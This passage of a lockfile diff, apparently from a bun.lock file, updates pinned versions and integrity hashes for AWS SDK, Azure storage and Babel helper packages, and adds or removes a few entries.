"@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OtuirjxuOqZyDcI0q4WtoyWfkq3nSnbH41JwJQsXJefduWcww1FQe5TL1JfYCU7seUxHzK8rg2nFxUBuqUlZtg=="],
+ "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
- "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Lvj1kPRC5IuJBr9DyJ9T9/plkh+EfKLy+12s/mykOy1JaKHDpvj+XGy2YO6YgYVOb8JFtaqloid+5COtje4JTQ=="],
+ "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/config-resolver": "^4.4.10", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-/Ev/6AI8bvt4HAAptzSjThGUMjcWaX3GX8oERkB0F0F9x2dLSBdgFDiyrRz3i0u0ZFZFQ1b28is4QhyqXTUsVA=="],
"@aws-sdk/s3-request-presigner": ["@aws-sdk/s3-request-presigner@3.758.0", "", { "dependencies": { "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-format-url": "3.734.0", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dVyItwu/J1InfJBbCPpHRV9jrsBfI7L0RlDGyS3x/xqBwnm5qpvgNZQasQiyqIl+WJB4f5rZRZHgHuwftqINbA=="],
- "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="],
+ "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.996.6", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-NnsOQsVmJXy4+IdPFUjRCWPn9qNH1TzS/f7MiWgXeoHs903tJpAWQWQtoFvLccyPoBgomKP9L89RRr2YsT/L0g=="],
- "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-IpQVC9WOeXQlCEcFVNXWDIKy92CH1Az37u9K0H3DF/HT56AjhyDVKQQfHUy00nt7bHFe3u0K5+zlwErBeKy5ZA=="],
+ "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.1004.0", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-j9BwZZId9sFp+4GPhf6KrwO8Tben2sXibZA8D1vv2I1zBdvkUHcBA2g4pkqIpTRalMTLC0NPkBPX0gERxfy/iA=="],
- "@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
+ "@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
- "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="],
+ "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.972.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-HzSD8PMFrvgi2Kserxuff5VitNq2sgf3w9qxmskKDiDTThWfVteJxuCS9JXiPIPtmCrp+7N9asfIaVhBFORllA=="],
- "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.743.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "@smithy/util-endpoints": "^3.0.1", "tslib": "^2.6.2" } }, "sha512-sN1l559zrixeh5x+pttrnd0A3+r34r0tmPkJ/eaaMaAzXqsmKU/xYre9K3FNnsSS1J1k4PEfk/nHDTVUgFYjnw=="],
+ "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.996.4", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-endpoints": "^3.3.2", "tslib": "^2.6.2" } }, "sha512-Hek90FBmd4joCFj+Vc98KLJh73Zqj3s2W56gjAcTkrNLMDI5nIFkG9YpfcJiVI1YlE2Ne1uOQNe+IgQ/Vz2XRA=="],
"@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-TxZMVm8V4aR/QkW9/NhujvYpPZjUYqzLwSge5imKZbWFR806NP7RMwc5ilVuHF/bMOln/cVHkl42kATElWBvNw=="],
"@aws-sdk/util-locate-window": ["@aws-sdk/util-locate-window@3.568.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-3nh4TINkXYr+H41QaPelCceEB2FXP3fxp93YZXB/kqJvX0U9j0N0Uk45gvsjmEPzG8XxkPEeLIfT2I1M7A6Lig=="],
- "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-xQTCus6Q9LwUuALW+S76OL0jcWtMOVu14q+GoLnWPUM7QeUw963oQcLhF7oq0CtaLLKyl4GOUfcwc773Zmwwng=="],
+ "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-7SJVuvhKhMF/BkNS1n0QAJYgvEwYbK2QLKBrzDiwQGiTRU6Yf1f3nehTzm/l21xdAOtWSfp2uWSddPnP2ZtsVw=="],
- "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-A5EZw85V6WhoKMV2hbuFRvb9NPlxEErb4HPO6/SPXYY4QrjprIzScHxikqcWv1w4J3apB1wto9LPU3IMsYtfrw=="],
+ "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.973.4", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/types": "^3.973.5", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-uqKeLqZ9D3nQjH7HGIERNXK9qnSpUK08l4MlJ5/NZqSSdeJsVANYp437EM9sEzwU28c2xfj2V6qlkqzsgtKs6Q=="],
- "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Zrjxi5qwGEcUsJ0ru7fRtW74WcTS0rbLcehoFB+rN1GRi2hbLcFaYs4PwVA5diLeAJH0gszv3x4Hr/S87MfbKQ=="],
+ "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.10", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA=="],
"@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.2.2", "", {}, "sha512-C0NBLsIqzDIae8HFw9YIrIBsbc0xTiOtt7fAukGPnqQ/+zZNaq+4jhuccltK0QuWHBnNm/a6kLIRA6GFiM10eg=="],
@@ -647,7 +679,9 @@
"@azure/search-documents": ["@azure/search-documents@12.0.0", "", { "dependencies": { "@azure/core-auth": "^1.3.0", "@azure/core-client": "^1.3.0", "@azure/core-http-compat": "^2.0.1", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.3.0", "@azure/core-tracing": "^1.0.0", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-d9d53f2WWBpLHifk+LVn+AG52zuXvjgxJAdaH6kuT2qwrO1natcigtTgBM8qrI3iDYaDXsQhJSIMEgg9WKSoWA=="],
- "@azure/storage-blob": ["@azure/storage-blob@12.27.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.4.0", "@azure/core-client": "^1.6.2", "@azure/core-http-compat": "^2.0.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.10.1", "@azure/core-tracing": "^1.1.2", "@azure/core-util": "^1.6.1", "@azure/core-xml": "^1.4.3", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-IQjj9RIzAKatmNca3D6bT0qJ+Pkox1WZGOg2esJF2YLHb45pQKOwGPIAV+w3rfgkj7zV3RMxpn/c6iftzSOZJQ=="],
+ "@azure/storage-blob": ["@azure/storage-blob@12.31.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-client": "^1.9.3", "@azure/core-http-compat": "^2.2.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.6.2", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/core-xml": "^1.4.5", "@azure/logger": "^1.1.4", "@azure/storage-common": "^12.3.0", "events": "^3.0.0", "tslib": "^2.8.1" } }, "sha512-DBgNv10aCSxopt92DkTDD0o9xScXeBqPKGmR50FPZQaEcH4JLQ+GEOGEDv19V5BMkB7kxr+m4h6il/cCDPvmHg=="],
+
+ "@azure/storage-common": ["@azure/storage-common@12.3.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-http-compat": "^2.2.0", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/logger": "^1.1.4", "events": "^3.3.0", "tslib": "^2.8.1" } }, "sha512-/OFHhy86aG5Pe8dP5tsp+BuJ25JOAl9yaMU3WZbkeoiFMHFtJ7tu5ili7qEdBXNW9G5lDB19trwyI6V49F/8iQ=="],
"@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
@@ -657,45 +691,33 @@
"@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
- "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g=="],
-
- "@babel/helper-builder-binary-assignment-operator-visitor": ["@babel/helper-builder-binary-assignment-operator-visitor@7.22.15", "", { "dependencies": { "@babel/types": "^7.22.15" } }, "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw=="],
+ "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
"@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="],
- "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.26.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/helper-replace-supers": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/traverse": "^7.26.9", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg=="],
+ "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
"@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.26.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "regexpu-core": "^6.2.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-G7ZRb40uUgdKOQqPLjfD12ZmGA54PzqDFUv2BKImnC9QIfGhIHKvVML0oN8IUiDq4iRqpq74ABpvOaerfWdong=="],
- "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg=="],
-
- "@babel/helper-environment-visitor": ["@babel/helper-environment-visitor@7.22.20", "", {}, "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA=="],
-
- "@babel/helper-function-name": ["@babel/helper-function-name@7.23.0", "", { "dependencies": { "@babel/template": "^7.22.15", "@babel/types": "^7.23.0" } }, "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw=="],
+ "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
"@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="],
- "@babel/helper-hoist-variables": ["@babel/helper-hoist-variables@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw=="],
-
- "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ=="],
+ "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
"@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="],
"@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
- "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ=="],
+ "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
"@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.27.1", "", {}, "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw=="],
- "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-wrap-function": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw=="],
+ "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
- "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.26.5", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/traverse": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg=="],
+ "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
- "@babel/helper-simple-access": ["@babel/helper-simple-access@7.24.7", "", { "dependencies": { "@babel/traverse": "^7.24.7", "@babel/types": "^7.24.7" } }, "sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg=="],
-
- "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA=="],
-
- "@babel/helper-split-export-declaration": ["@babel/helper-split-export-declaration@7.22.6", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g=="],
+ "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
"@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="],
@@ -703,21 +725,21 @@
"@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="],
- "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.25.9", "", { "dependencies": { "@babel/template": "^7.25.9", "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g=="],
+ "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
"@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="],
"@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g=="],
+ "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
